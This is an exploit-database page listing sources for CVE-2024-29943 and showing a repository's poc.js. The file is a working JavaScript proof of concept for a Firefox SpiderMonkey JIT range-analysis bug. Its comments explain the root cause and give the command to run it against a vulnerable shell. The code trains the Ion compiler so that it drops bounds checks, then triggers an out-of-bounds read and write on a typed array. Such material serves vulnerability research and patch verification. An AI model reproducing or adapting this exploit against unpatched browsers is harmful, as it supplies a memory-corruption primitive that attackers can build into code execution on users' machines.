Exploit databaseDownload repository ZIP
GH-bbb7eb94baf58c91c5fee16226c36314
sneakynachos/cve-2024-29943-but-with-wasm
Sources for CVE-2024-29943
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
sneakynachos/cve-2024-29943-but-with-wasmRevision 009956dadd32
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.js
JavaScript · 1,698 bytes// poc.js - Minimal trigger for CVE-2024-29943 (Pwn2Own 2024, Manfred Paul)
//
// Root cause (Bugzilla 1886849): MObjectKeysLength::computeRange was made
// elidable (bug 1845728) and promptly started reporting a fairy-tale range
// for Object.keys(x).length. Ion trusted it, mis-computed the loop counter
// range in exploit(), and deleted bounds checks that were very much still
// needed -> out-of-bounds read/write on a Uint8Array. It me.
//
// Run against a vulnerable js shell (Firefox < 124.0.1):
// ./js --no-threads --spectre-mitigations=off poc.js
// (On a fixed build it just OOMs trying to allocate 2^28 keys, which is the
// compiler's way of saying "not today".)
function makeArray(n) {
let arr = new Uint8Array(n);
arr.a = 5; arr.b = 5; arr.c = 5; arr.d = 5; arr.e = 5; arr.f = 5;
return arr;
}
function exploit(foo, x) {
// Object.keys(x).length can be ~2^28 for a huge array, but range analysis
// is convinced it's a small non-negative value. The addition overflows
// into a negative number the compiler files under [0, 0]. Sure, Jan.
let neg = Object.keys(x).length + 1879048190;
neg = Math.max(neg, (-72)|0);
neg = Math.min(neg, 0);
let idx = 31;
for (let i = neg; i <= 20; i++) { // compiler: <=20 iterations; actually ~60
idx -= 1; // compiler: idx never < 0
foo[idx+32] = foo[idx]; // OOB r/w, 32 bytes past foo's backing store
}
}
let arr = makeArray(64);
let long_array = makeArray(2**28 - 4);
let foo = new Uint8Array(64);
for (let i = 0; i < 2000; i++) {
exploit(foo, arr); // train Ion on the small array, earn its trust
}
exploit(foo, long_array); // betray Ion's trust
assertEq(foo[0], 0);